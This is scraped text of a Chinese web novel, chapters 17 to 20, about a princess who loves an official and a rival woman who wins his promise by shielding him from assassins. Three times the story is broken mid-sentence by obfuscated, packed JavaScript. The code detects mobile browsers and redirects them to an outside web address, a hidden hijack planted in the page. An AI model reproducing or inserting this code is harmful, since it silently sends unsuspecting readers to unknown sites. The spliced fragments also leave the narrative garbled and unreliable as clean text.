d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176593|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婧华蹲下身子,从腰间取下钱袋置于地面,缓缓道:“药钱,别说本郡主仗势欺人。” 话落,她直起身,冷漠地与白素婉擦身而过。 她走得极慢,肩背挺直,矜贵高傲。 看着精致钱袋,白素婉咬唇,垂下眼睫,掩住眸底复杂。 …… 离了人前,萧婧华紧绷的弦立马松懈。 她跌坐在榻上,双目无神,似是失了魂。 箬竹箬兰安静地坐在矮凳上,大气也不敢出一声。 不知过了多久,萧婧华呢喃,放得极轻的话音里充斥着迷茫。 “他不喜欢那块玉佩,与我直说便是,我可以给他更好、更和他心意的。” “可他为什么……要把它送给别人?” 似是在自问,又似在问不在场的某个人。 忍了许久的泪终于砸了下来,一颗又一颗,氤氲在眼前,模糊了视线。 萧婧华手抓着身下褥子,一寸寸收紧,用力到指骨泛白。 “……为什么?” 箬兰为萧婧华感到委屈。 她家郡主一门心思为了陆大人,而他呢,居然这般践踏郡主的心意。 “我非得去问个清楚,陆大人究竟把我们郡主当成什么了!” 箬竹把她拉了回来,低声呵斥,“你裹什么乱。” “我怎么裹乱了。”箬兰不服,“我定要为郡主出这口恶气!” 箬竹头疼,“你……” “对,我要去找他问个明白。” 二人闻声望去。 萧婧华半垂着头,看不清神色。一抹晶莹掉落,她低声重复。 “我要去找他。” …… “姑娘,您今日太冒险了。” 兰芳扶着白素婉,一脸不赞同。 白素婉轻笑一声,垂眸望了眼手上擦痕,漫不经心道:“富贵险中求。” “而且……效果还不错。” 进了屋,兰芳一通翻找,拉过白素婉的手替她上药。 有句话兰芳倒是没说错,她家姑娘的身子骨确实差。 自从老爷娶了恶妇入府,那贱/人人前对姑娘嘘寒问暖,人后百般磋磨。就因把汤撒了,寒冬腊月的,竟让年仅九岁的姑娘在院子里跪了足足三个时辰。回去姑娘便发了热,人险些烧没了。 从那以后,底子就不太好了。 上完药,白素婉从怀里摸出玉佩碎片,有黑点从里头钻出,她眼疾手快从旁拿过一个小瓷瓶,将它放入其中。 把碎片交到兰芳手里,郑重警告,“拿去处置,隐蔽些,别让人瞧见了。” 兰芳知道轻重,重重点头,用帕子包着玉佩,匆匆出了门。 小半个时辰后,她挂笑归来,“姑娘,事情办妥了。” 待见到白素婉眉目凝重地低头看着手中信纸,心里咯噔一下,“怎么了?” 白素婉抿唇,“兰芳,我们的速度得加快了。” “今日这一遭……”兰芳迟疑,“还不够快吗?” “不,不够。”白素婉低声喃喃,有光影落在她额角碎发上,长睫似蝶翼翩跹。 她将手中信纸抓揉成一团,抬头时,有狠意从眼底漫出。 17. 第 17 章 刚下马车,便有人唤住萧婧华。 “姐,你怎么来了?” 陆府门前立着一名少年,高马尾利落俊俏,双眸明亮,带着爽朗笑意向她走来。 “是找我哥的?他不在家。” 萧婧华苍白小脸勉强露出一丝笑,“阿旸。” 陆旸“诶”了一声,“姐,进去等吧,我哥一时半会回不……哎呀!” 他忽然惊叫一声,“姐你手怎么了?” 萧婧华恍惚低头,却见手心一片红,隐隐发肿,在白皙的手上格外刺眼。 “这是什么时候弄的。”箬兰心疼又懊恼,“都怪奴婢粗心。” 箬竹已经在问陆旸府里是否有伤药了。 他们这般如临大敌,当事人却没什么反应,呆愣地盯着手心,目光发怔,神思不属。 等反应过来时,已经被硬压着坐在陆府正堂椅子上,由箬竹上药。 陆旸坐在她旁边和她说闲话,“姐,上次的事……我哥没怪你吧?” 少年眼睛一眨不眨地看着她,眸底流露出小心翼翼。 萧婧华浅笑摇头,“没有。” 他没生气,只是把银钱全部还给她而已。 只是如此……还不如生气。 “那就好。”陆旸松了口气,忍不住抱怨,“我哥跟猫似的,一有点风吹草动都能惊动他。也不知他怎么发现的,硬是打了我好几个板子,不等我养好伤就让孟年把我送去了书院,惹得我被同窗笑话了好久。” “要我说,他就不应在工部待着,该去大理寺才对。”陆埕哼哼两声,“就该让他去断案,一断一个准。” 萧婧华笑笑没说话。 “我哥说了,娘回来之前让我在书院安分待着,不准惹事。这次还是事出有因,才准我回家一趟。” 陆旸拍了下胸膛,传出“砰砰”声响,“我一会儿还得回书院。” 他所在的青山书院位于城外白虹山,院长德高望重,桃李满天下。院内师长不是名士便是致仕官员,引得学子趋之若鹜,不少世族也将族内子弟送入其中。 从京城到青山书院,骑马约莫要一个半时辰,萧婧华轻声道:“你若着急,便先去吧,我在门口等就是。” “怎么能把姐你一个人丢在这儿。”陆旸义正词严,“今日无课,晚点回去也没事,我陪你等。” 他瞄了眼日头,又问:“姐你吃饭了吗?” 时值正午,萧婧华并不饿,也没什么胃口,但对上陆旸亮晶晶的眼,慢慢摇了下头。 陆旸起身便要去吩咐嬷嬷做饭,走到门口停住,转过身来,笑得露出一口白牙,“姐你想吃什么?” 萧婧华:“随意就好。” “都这个时候了,去买也来不及。”陆旸道:“那我让嬷嬷有什么做什么,事先说好,姐你不准嫌弃。” 相识这么多年,陆旸对萧婧华娇气挑剔的性子最是清楚不过,嘴上这么说,心里却思忖着得去弄点好的。 萧婧华失笑,“不会,去吧。” 陆旸又笑,摆摆手走了。 等他回来,箬竹箬兰自觉去厨房帮忙。她二人虽厨艺不精,但帮忙打下手还是会的。 陆旸留在厅里陪萧婧华。 少年热情,话虽多,但并不让人觉得厌烦,反而觉他单纯真挚。 他说着书院里的趣事,语气夸张又生动,听得萧婧华蒙在心头的雾霾散了不少,很给面子地笑了。 她一笑,陆旸更来劲,面上笑意越发大了,叽叽喳喳说个不停。直到午饭端上来,才依依不舍地住了口。 陆旸胃口大,吃得香,眼角眉梢都挂着满足笑意。见此,萧婧华本来没胃口,也跟着吃了不少。 饭后,陆旸精力旺盛的跟条小狗似的。两人都爱看话本,但不同于萧婧华的缠绵情爱,陆旸更喜欢侠客闯荡江湖快意恩仇。 他挑了两本近来最喜欢的说给萧婧华听。 少年嗓音清亮,明快又活泼,令人不知不觉便入了迷。萧婧华很给面子的全程带笑,箬竹箬兰也听得津津有味。 又说完一个故事,陆旸口干舌燥地拎起茶壶直接往嘴里倒。 萧婧华忙叮嘱他,“慢点,小心呛着。” 见她喝完水,满足地喟叹一声,萧婧华轻笑,“在书院,你莫不是因着看话本,耽误了课业?” 陆旸浑身一僵,尬笑,“哈,哪能啊,我每次都是完成先生布置的功课才看的。” 他看了眼天色,生硬地转移话题,“天色不早了,姐,我该回书院了。” 黄昏将至,陆旸再不走,该走夜路了。 萧婧华起身,“好,我送你。” 看出她的意思,陆旸干脆道:“姐,你在屋里等吧。” “没事,马车里也是一样的。” 萧婧华极轻地笑了下。 主家不在,再怎么熟稔,她也不能反客为主。 这是她多年受到的教养。 她坚持,陆旸便不再说什么,收拾东西出门。 自有记忆起,他家就落败了,因此从小就学会了自力更生。也就是进了书院,他娘才给他配了个书童打杂。 这次他嫌麻烦,没带书童,独自一人骑马而归。 背着行囊翻身上马,陆旸和站在门口的萧婧华告别,“姐,我走了。” 萧婧华唇角含笑,“去吧,路上当心些。” “知道啦。” 陆埕挥挥手,挥动马鞭。 马蹄哒哒,没多久就出了巷子。 陆旸深深叹气。 也不知道他哥做了什么,惹得婧华姐姐生了这么大的气。 没见着她全程都在强颜欢笑么? 他这么努力地逗她笑,也是希望他哥回来时,婧华姐的怒火能小些。 陆旸忧愁望天。 哥啊,虽然你把我打了一顿,但我心里还是有你的。 该做的我都做了,剩下的,你自求多福吧。 …… 陆旸走后,萧婧华便回了马车。 陆家在此处住了多年,街里街坊多多少少知道陆家那位与琅华郡主的事,因而这辆豪华马车停在巷中时,无人觉得稀奇,多看两眼便去忙自己的事。 萧婧华心下略有松懈。 她听多了陆埕与白素婉柔情蜜意的传言,此时竟有些畏惧人言。 靠在软枕上,萧婧华将车窗半开,透过缝隙,呆呆地望着陆府大门。 箬竹箬兰大气也不敢出。 刚才还好好的,怎么又这样了? 箬兰给箬竹使了个眼色。 箬竹摇头,看着自家郡主,把叹息声咽了回去。< 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他是不是真如传言所说,喜欢上白素婉了? 越想,萧婧华越是难受。 给瘸腿大爷留了口信,她低低道:“明日不来了。” “不来了?”箬兰意外? 萧婧华轻轻点头,“明日去工部等。” 若是陆埕在官署忙活,总能见他一面。 即便心里再是焦急,萧婧华依旧谨记不能打扰陆埕办公,安安分分地在官署外等着。 下值的官员陆陆续续离开,天边最后一丝光亮即将湮灭之际,终于有人走了出来。 萧婧华眸光发亮,迫不及待下了马车,“陆埕!” 那人一怔,向前走来。 面容随着距离缩短逐渐清晰,萧婧华眼里的光一点点暗了下去。 “下官见过郡主,陆兄这几日忙着查案,不在官署。” 眼前之人眉目清明,正气浩然,五官说不上俊朗,却也大气端正,且有几分眼熟,应是陆埕的同僚。 萧婧华追问:“你可知他去了何处?” “臣不知。”同僚摇头,“陆兄查的乃是机密要案,前阵子在工部待了几日,向上峰告假后便不知去向,似臣这般寻常官员怎能轻易得知他的行踪。” 萧婧华难掩失望,敷衍道:“好,本郡主知道了。” 同僚向她告辞,负手离去。 萧婧华拂开箬竹来搀扶她的手,一步步走在长街上。 月色已至,清辉拂身。万家灯火骤亮,似银河坠地,繁星熠熠。 她从一家灯铺走过,面容刹那被点亮。 此刻才惊觉,就算她贵为郡主又如何。 陆埕不想让她知晓他的行踪,她竟不知该去何处寻他。 让王府侍卫大张旗鼓地找?说不准会坏了陆埕的事。 去问父王?不说父王知不知晓,便是知道,也不过是让他徒增烦恼。 长风穿街而过,吹得灯光摇曳,吹起素纱长裙,也拨动她繁杂的心。 萧婧华仰头望着夜空明月,霎时一阵茫然。 18. 第 18 章 “怎么样?” 陆埕沉声问。 孟年抹了把脸,在赌坊待了整整五日,他现在馊得自己都嫌弃。 好在结果尽如人意。 想到这儿,孟年疲惫的面上浮现一抹欣喜笑容,“没错,就是这儿。” 陆埕面色一松。 “程迁那老匹夫,居然用赌坊洗钱。”孟年啐了一声,“修堰的钱也贪,不怕折寿?” 陆埕不置一词,“通知高将军吧。” 孟年点头,“我这就去。” 二人下楼结账。 出了客栈,对面便是赌坊,门匾上“徐阳”二字龙飞凤舞,边框金光闪闪,富贵异常。门口守着两个凶神恶煞、手持铁棍的彪形大汉,里头狂笑痛哭交织,混乱疯狂。 陆埕静静看过去。 浅黑色的瞳孔干净澄澈,水洗过一般,清凌凌的,似泛着冷光。 他淡淡收回视线,和孟年一道离去。 回去要经过一条巷子,两侧墙壁青苔斑驳,白斑东一块西一块,陈旧破败。地上扔了几个酒瓶,空中酒气还未散去。 天色湛蓝,白云翻滚,安静地听不见鸟声。 陆埕眉头拧着,面色微变,低声对孟年道:“快走。” 孟年感受到了什么,双臂肌肉暗暗鼓起,快步跟上。 还未走到巷口,一阵疾风掠过,有人挡住去路。 “想去哪儿?”说话的男人一身黑衣,肩上扛着一把刀,下半张脸被黑布蒙住,露出含煞的眼。 他将刀插/在身前,狠戾道:“敢来赌坊盯梢,你们两个,今天哪也别想去。” 孟年脸色难看,“大人,你先走。” 陆埕点头。 他不会武,留在这儿也是累赘,不如找机会离开搬救兵。 转过身时,身后不知何时出现了两个黑衣人,阴冷地盯着他,“去死吧。” 陆埕的心沉沉下坠。 黑衣人持刀朝他冲来,有道身影从墙上跳下,向天发出信号,随后拔剑与那黑衣人交战。 是禁军左卫将军高贺放在他身边的人。 没等陆埕松口气,又有两个黑衣人从天而降。 仅凭孟年二人,根本挡不住五人合围。 陆埕的脸色极为难看。 看来,程迁是铁了心要他的命了。 狼狈躲避之际,陆埕在脑中不断思索脱险的法子,正在这时,寒光冷冽,朝他劈砍而下。 孟年大惊失色,“大人!” 千钧一发之际,有道身影朝他扑来。 兵器入体,猩红血珠洒落如雨。 陆埕瞳孔骤缩。 …… 在家待着也是烦闷,第二日,萧婧华带着箬竹箬兰出去散心。 她买了不少东西,除了给自己首饰,有给父王的成衣,太子哥哥的发冠。至于皇伯父,最不缺好东西,就不用她操心了。 萧婧华低头凝着一支玉簪。 第一眼见它时,便觉它极衬陆埕。 可玉佩的事没问清楚,她心里还是有疙瘩。 犹豫许久,说不清什么出于什么心思,萧婧华还是买了。 这一通下来,心里畅快了不少。 再去殷姑的铺子买些糕点,她便准备打道回府。 刚准备上马车,前头不知何故忽然传出一声尖叫。 “啊!有血,杀人了!” 萧婧华下意识回头。 浑身的血液在下一瞬冻结成冰。 长街上,行人面色惶恐,惊叫声不断,惊慌失措地朝两侧避开,生怕惹祸上身。 大路正中,陆埕素色长袍上血迹斑斑,一向梳得整洁端正的发髻松散开,碎发垂落,随着急促的呼吸起伏。 薄唇紧紧抿着,鼻翼至右下颌一道血痕落在白得无一丝血色的脸上,触目惊心。 视线往下,少女毫无气息般伏在他怀里,面如金纸,双眼紧闭,卷翘长睫沾了泪珠,透露出惊心动魄的美。白色长裙本该衬得她仙姿清丽,然胸口染了红,血滴顺着她垂落的指尖滴坠,在石板上开出一朵朵血花。 萧婧华刹那失声,脑海之中一片空白。 箬竹低声唤道:“郡主,陆大人他……” 被这一声“陆大人”唤醒,萧婧华猛然回神。 指尖禁不住地战栗,胸腔之内,心跳仿若擂鼓。前几日的伤心埋怨散得一干二净,她满心满眼只有陆埕。 这么多血,他是不是受伤了,伤哪儿了? 萧婧华慌得手足无措,踉跄着迎了上去。 “陆埕!你……” 血腥之气弥漫在空气中,她立在原地,再不能语。 她看见,陆埕抱着怀中少女,面色紧绷焦急地从她身侧走过。 仿佛未曾见到她。 又仿佛……他的眼里,只有她。 那一瞬间,萧婧华茫然若失。 低垂的眉眼触及石板上绽放的血花,她宛如被刺到一般挪开视线,顺着那一路怒放的血莲,慢慢凝望陆埕的背影。 他出了意外,又有人受了伤,心里指不定多慌张,没看见她也能理解。 萧婧华安慰自己。 咬了咬唇,她提着裙子,追了上去。 …… 陆埕一路抱着怀中少女到了医馆。 “大夫,救人!” 埋头捣药的老大夫温声抬头,霎时惊住了。 “这是怎么弄的,这么多血。” 陆埕罕见地露出急躁,咬牙催促,“废话少说,救人!” 老大夫和陆埕也是熟人了,莫名其妙被他吼了一通,嘴角不高兴地一撇,但念在他救人心切,还是把不满咽了回去,放下手里的杵头起身。 瞧了眼那少女的伤,“哎”了一声,忙道:“这么重的伤,快把她抱进去。” 说着便掀开帘子让路。 陆埕脚步一抬就要进去,怀里昏迷的少女不知何时清醒了过来,染血小手放在他右臂上,轻轻一拉。 嗓音虚弱无力,“陆大人,素婉……有话对你说。” 陆埕脚步不停,“先给你治伤。” “不,请大人让我说完。” 白素婉坚持。 陆埕只好不动。 因失血过多,白素婉唇色苍白,柳眉堆蹙,伤口源源不断的疼痛令她话语艰难,但她仍一字一字缓慢道:“素婉虽出身商贾,但娘亲自幼为我寻名师教导,也算识字知礼。可惜素婉福薄,娘亲早早弃我而去,父亲做了几月孝夫慈父,终耐不住寂寞,迎了继母进门。” 白素婉轻轻吸气,忍痛道:“自那以后,素婉便没了父母。大人不知,得知父亲要将我卖掉时,我险些就要认命了。” “可见继母所出弟妹耀武扬威,我终究咽不下那口气,带着兰芳私逃。” “遇见大人,是一场意外。”白素婉仰头看向陆埕,唇角轻轻上扬,笑容苍白破碎,“却也是素婉一生之幸。” “大人似暮夜萤灯,令素婉觉得,这一生,并非孤寂凄凉,悲苦绝望。” “为大人挡刀,素婉甘之如饴,便是死,也值得了。” 陆埕眉心堆起,“你还年轻,说什么一生。我让大夫给你治伤。” 白素婉摇头,一点一点揪起陆埕臂上布料,轻声道:“从离家起,素婉在这世上,犹如水上浮萍,无根无依。若是这次能挺过去,大人……” 惨白玉面浮现薄红,滢滢眸光带水,含着期待羞赧,白素婉一字一字,仿佛从肺腑中挤出来,气息都带着痛意,“大人,可否让素婉在您身边,寻一容身之处?” 本就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211359|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因疼痛急速跳动的心脏此刻更是如同鼓声,一下又一下在胸腔内震动。 白素婉紧张地盯着陆埕。 她知道,她冲动了。 可除了挟恩图报,她别无他法。 陆埕是个责任心极重的人,只要应下,他会把她当成他的责任。 她会抓住这次机会,一点一点地占据他的心。 只要他应下。 胸口的疼痛一阵阵袭来,有血花绽开。白素婉疼得眼前发晕。 视线模糊,她看不清陆埕的表情,心慌意乱地揪紧他的衣衫,双唇溢出痛苦呻/吟,“若是大人不愿,便当……当素婉在胡说……” 良久,她听见他暗哑的嗓音。 “好。” 白素婉终于放了心,彻底支撑不住,晕了过去。 “白姑娘!” 陆埕抱着她,匆匆进了里间。 …… 门外。 萧婧华无力地软倒下去。 那句“好”如同雷鸣,轰隆一声在她头顶炸裂开来,将她轰地失魂落魄,支离破碎。 又好似尖刀刺入心脏,搅动、翻转,把她的心割得四分五裂,鲜血直流。 他应了她。 他怎么能应了她? 他要背弃她,娶白素婉吗? “姑娘!” 有人自她身侧飞奔而过,哭着扑进医馆。 紧接着,萧婧华听见箬竹惊慌的声音,“郡主,您怎么了?” 她怔怔抬头,抚在门框上的手隐隐作痛, 萧婧华收手。 保养完美的指甲断裂,缝里残存着木屑,刺痛不已。 面上冰凉,她已泪流满面。 箬竹箬兰小心翼翼将她扶起,谨慎道:“陆大人伤得很重吗?” 萧婧华呆愣摇头。 她听见里头兰芳在哭天喊地,丢了魂似的站在门口。 金乌西移,不知过了多久,有人风风火火跑来。 “郡主?”孟年震惊,“您怎么在这儿?” 萧婧华动了动僵硬的身子,声音轻如鸿羽,“发生了何事?” 孟年苦闷地皱着眉,“今日眼看案子就要破了,没想到突然钻出一群刺客。大人不会武,险些受伤,白姑娘不知从什么地方跑出来,替大人挡了一刀。幸好禁军及时赶到,否则别说白姑娘,大人说不准也难逃一劫。” 萧婧华静静听着,脑中只有两个念头。 一是幸好他没受伤。 二是,好巧。 连她都不知晓陆埕的行踪,白素婉是怎么巧合地遇见他被刺杀,并巧合地替他挡了一刀? 只有两种解释。 白素婉与刺客是一伙的,故意做了这一局演给陆埕看。 可她身上的伤不作假,且白素婉一个离家出走的弱女子,从哪儿找来穷凶极恶的杀手? 她若有这能耐,怎么能被继母这般欺辱? 萧婧华不愿恶意揣测一名弱女子,想要另外一种可能,她心口窒住,面色空白。 除非,陆埕主动告知她自己的行踪,她才能找上去,才能适时扑上去为他挡刀。 这个念头如同魔咒,一遍一遍在她脑海中盘旋。 萧婧华知道,自己不该在这儿瞎猜,可她控制不住。 一想到她在陆府和工部门口等了三日都见不到陆埕的面,白素婉却能轻松找到他,一颗心就仿佛在火里滚过,沸水里烫过,痛苦煎熬。 恍惚间听见孟年在念叨,“也不知道白姑娘怎么样了,一刀下去,那血没完没了地流,险些没把我吓死。” 萧婧华怔忪回神。 孟年站在她身侧,目光担忧地望向医馆里间,长叹一声,“希望她尽快脱险。” 不然他家大人这人情,欠得可大了。 19. 第 19 章 陆埕没多久走了出来,留下兰芳在里头帮忙。 他立得直,头微微下垂,盯着手上的血,不知在想什么。 萧婧华深深吸气,注意到孟年同样一身狼狈,低声道:“你先去把伤口处理了。” “啊?”孟年怔然低头,瞅见一身的血,被忽略的痛意袭上心头,瞬间龇牙咧嘴地跑进了医馆,对守在柜子后的小药童道:“赶紧的,拿药来。” 小药童和他也算熟识,急急为他上药。 萧婧华咬住下唇,缓步走到陆埕身边,安静地陪着他。 不知过了多久,老大夫终于出来了。 陆埕立即问:“怎么样?” “幸好送来及时,那位姑娘的命已经保住了。” 陆埕长出一口气。 老大夫交代完便让小药童去熬药。白素婉伤重,不好挪动,正好医馆后院有多余的屋子,索性让她住下。 安排妥当,陆埕堵在心口的巨石这才落下。目光一转,注意到身边的萧婧华,一时发怔。 “郡主怎么在这儿?” 她一直都在,他竟问她为何在此。 可见,他的心神全放在白素婉身上。 萧婧华面色发白,勉力勾唇,似哭非笑,轻声道:“我在街上看到你一身血,跟了过来。” 陆埕垂眸,瞧着一身狼狈,忆起少女奋不顾身替他挡刀的瘦弱身影,心生烦躁,一股气拧在心头,“都是白姑娘的血。” 萧婧华张了张唇。 她想问陆埕,那句好是何意。 他要迎娶……白素婉吗? 他不要她了? 可看着陆埕苍白的脸,萧婧华的话梗在喉头,一字也说不出。 她再怎么不懂事也知道,如今的情形,并不适合谈论这些事。 他心里现在一定很不好受,她不能再惹他心烦。 而且,陆埕只是给出了承诺,并未求娶,她不应胡思乱想,平添忧思。 给足了老大夫银钱,孟年凑在陆埕耳边道:“那些刺客被左卫的人拿下,高将军亲自去了徐阳赌坊,现下或许已经收兵。” 陆埕颔首。 “郡主,此案未结,臣脱不开身。白姑娘这儿,劳你照看一二。” 萧婧华愣愣的,“啊……好,你去吧。” 陆埕神色舒缓,语气微暖,“多谢。” 他带着孟年,大步踏出医馆。 身形颀长,肩背挺直,如屹立苍山悬崖的松柏,永不折腰。 和风吹拂,素袍翻飞,袖有点点红梅,傲然绽放。 箬兰的埋怨唤回了萧婧华的神志,“姓白的有什么资格能让我们郡主照看,陆大人真是昏了头了。” 本该拦着她的箬竹一言不发。 显然,她也为此恼怒。 “没关系。”萧婧华轻声,“白姑娘是他的救命恩人,应该的。” 应该什么应该。 箬兰生气。 这还没定亲呢,他陆埕的救命恩人和她家郡主有什么关系? 凭什么替他照看? 她现在对陆大人是越发不满了。不仅有个从犄角旮旯里冒出来的“红颜知己”,流言蜚语传得满城都是,甚至怠慢她家郡主,多次令她伤心。 这样下去,迟到会出大问题。 心里腹诽着,箬兰面上也是愤愤不平,但好歹没把话说出口。 转头一瞅,箬竹向来温和的脸已经冷了下来,便知她和自己不谋而合。 可能怎么办? 郡主对陆大人的情谊,她们这些在身边伺候多年的最是清楚不过。 轻易丢不掉的。 “我去看看白姑娘。” 萧婧华抿唇,抬步往里走。 白素婉还未醒,兰芳坐在床头默默垂泪,不忘擦净她额头上的汗珠。 听到脚步声,她哭得更大声了,“我家姑娘本就体弱,挨了这么一刀,不知得养多久才能养回来,陆大人……” 话音陡然转了个弯,尖锐中夹杂着不可置信,“你怎么在这儿?!” 箬兰满肚子的气,一听她这语气,当即怒道:“放肆!谁给你的胆子,敢对郡主不敬!” 兰芳被吓住了。她之前敢在萧婧华面前说那些话,那是因为知道背后有姑娘在。在她眼里,她家姑娘冰雪聪明,就没有不能做成的事。可姑娘在昏睡,只她一人独木难支,根本不敢与萧婧华抗衡。 犹豫两息,兰芳果断跪下认错,“奴婢知错,还望郡主看在奴婢担忧主子的份上,饶过奴婢这次。” 她垂着头,肩膀瑟缩,从萧婧华的角度,将她脸上的泪看得一清二楚。 “起来吧,你也是关心则乱。”萧婧华将目光移向躺在床上的白素婉。 少女面色苍白,唇瓣泛干,双眼紧闭。似是因为疼痛,眉头紧紧缩着,看了便令人心疼。 萧婧华问:“她怎么样?” 兰芳抹掉脸上的泪,哽咽道:“大夫说,若是晚上不发热,才算是彻底脱离了危险。” 萧婧华颔首,似是想到什么,对箬兰道:“我记得库房里有不少参,你回去挑支品相好的,再取些燕窝鹿茸,一并给白姑娘送来。” “郡主!”箬兰不可置信。 郡主的东西,凭什么给这个女人用! “去吧。”萧婧华不容拒绝道。 她虽不喜白素婉,但她好歹也是替陆埕受过。且看她能为人挡刀,想来也是个心地好的,一些药材补品而已,她又不缺,给她又何妨? 心知自家郡主心意已决,箬兰咬唇,“是。” 转头跺跺脚跑了。 兰芳听在耳里,看着自家姑娘苍白的脸,心头泛酸。 有的人出身钟鸣鼎食之家,把珍馐美馔当饭吃,说送就送。而她家姑娘长这么大,别说吃了,连燕窝的味都没闻过。 凭什么?还不是凭投了个好胎。 真是气人。 因此,当箬兰回来时,兰芳心安理得地把东西收下了,那副理所应当的模样,气得箬兰险些骂人。 什么人啊,郡主又不欠她! 萧婧华在医馆里待了半日。 整整一个下午,白素婉也不见醒。她又添了些银钱,让老大夫多看顾些,便带着箬竹箬兰回恭亲王府。 今日这一遭,萧婧华身心俱疲,本想用完膳便歇下。或许是回到家后精神松懈了,被忽略的痛猛地袭上心头。 “嘶。” 她细眉一蹙,眼里冒出泪花。 站在她身边的箬竹眼尖,抓住萧婧华的手。 干净整洁的指甲缝里扎着木屑,隐隐含着血丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221726|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箬竹心疼道:“怪奴婢粗心,竟没发现郡主受伤了。” 萧婧华娇气怕痛,也不知她是如何忍了这么久的。 箬竹忙用针小心地挑出木屑,抹了药,用纱布将手指缠上。 忙活完,箬兰也带着晚膳回来了,见了萧婧华的手,大惊失色道:“郡主怎么了?” 萧婧华摇头,“无事。” 箬兰觑了眼,见她神色淡淡,住了嘴,埋头将膳食摆上。 箬竹低声哄,“郡主,奴婢喂您。” 往日她若是生个小病身子疲软,也有箬竹给她喂饭的情况。可一想起白日里白素婉胸前的血,她咬牙道:“不用,小伤而已,已经不疼了。” 她流了那么多血,为他去死都不怕。 她有什么资格为点小伤兴师动众。 深吸一口气,萧婧华从榻上坐到桌前。 指甲缝里还在隐隐作痛,她垂着头,不让人瞧见微红的眼眶,捏着筷子,一口一口进食。 强撑着用完膳,萧婧华便借口歇息,让箬竹箬兰退下。 可躺在床上,她怎么也睡不着,脑海里一会儿是陆埕满身是血地抱着白素婉立在街上,一会儿是他们在医馆,一会儿又是白素婉面色苍白,无声无息地躺在榻上。 辗转反侧,直到半夜才睡着。 翌日辰时不到,萧婧华便醒了。 做了一晚上光怪陆离的梦,她睁眼时眼里还残留着几分迷蒙。 窗外熹光已现,朝霞铺满天空,缤纷瑰丽。鸟雀自云梢惊掠,飞入树荫丛中,溅起无数草屑,随后撩开嗓子,亮出清脆悦耳鸣叫。 萧婧华掀开帷幔起身,推开窗子。 清晨清爽的风迎面拂来,吹走因梦而生的复杂情绪。 箬竹警醒,听见动静进了屋,“郡主醒了怎的不叫奴婢。” 萧婧华还在看天边朝霞。 箬竹便没打扰她,退出去吩咐侍女备水。 待锦霞散去,春栖院彻底醒来。侍女们四处走动,为主子备水、传膳。 吃完一只水晶饺子,萧婧华吩咐,“让人备好马车。” 箬竹问:“郡主要出门?” 萧婧华点头,“去看看白姑娘。” “昨日不是已经看过了。”箬兰听到白素婉的名字便撇嘴,“又送了那么多礼。” 还去看什么看。 “陆埕让我照看她,总不能只看一日吧?” 他本就忙碌,不能让他分出心神担心白素婉的伤势。 就知道是因为陆大人。 箬兰心中不平。 用完早膳后,萧婧华便出门了。 到医馆时,里头正忙乱,她心里一惊,抓住脚步匆匆的小药童,叠声问:“发生什么事了,昨日送来的那位姑娘呢?” 小药童手里还拎着一包药,忽然被人拦住,愣愣抬头。 眼前的少女姿容出众,娇俏明艳,目光转动间仿佛有光华流转,流云璃彩似琉璃。 他一时看呆了。 “问你话呢,发什么愣?” 萧婧华冷下脸。 小药童猛地回神,小脸羞得发红。认出是昨日来过的姑娘,急忙道:“受了刀伤的那姑娘昨个夜里发热了,伤口发……” 话音未落,萧婧华已丢下他,慌忙往后院走去。 20. 第 20 章 萧婧华急匆匆跑到后院,正好碰见兰芳端着盆从里头出来。 见她着急忙慌的,满脸疑惑,“郡主这是做什么?” 萧婧华喘着气,“不是说你家姑娘昨个夜里发热了?” “好了好了,忙活到今日早晨,天亮才退了热。”小药童追着进来,庆幸道:“多亏了兰芳姑娘的人参,否则那姑娘就凶多吉少了。” 兰芳很是尴尬。 她家姑娘和琅华郡主没什么交情,更别说两人还是看上同一个男人的尴尬关系,可没想到,救姑娘命的药,竟然是郡主给的。 她真心实意地向萧婧华磕了一个头,“奴婢谢过郡主救命之恩。” “无碍,举手之劳罢了。” 兰芳抱着盆起身,闻言手心一紧,双唇紧抿。 是啊,一支人参而已,对她来说只是一桩小事,或许郡主根本没放在心上,她又何必对此感恩戴德,跌了姑娘的份。 见她眼下青黑,眉眼间带着疲惫,萧婧华道:“你守了一整晚,先回去歇着吧,这儿有我。” 兰芳有些犹豫。 她并不放心让郡主守着昏睡的姑娘,可她熬了一整晚,确实撑不住。踯躅稍许,还是点了头,“好,那就劳烦郡主了。” 她抓紧时间睡几个时辰,休息好了便来守着姑娘。 兰芳走后,箬兰踱步到萧婧华身边,不平道:“瞧她那脸防狼似的表情,昨晚才用郡主的人参救命,今天就翻脸不认人了。” 箬竹觑了眼萧婧华的表情,小声道:“她也是护主心切,少说几句吧。” 箬兰撅了撅嘴,倒是没再开口。 医馆后院的屋子本就是为伤重的病人准备的,布置极为简陋,箬竹找了根凳子放在床榻不远处。既隔了一段距离,又能随时查看白素婉的情况。 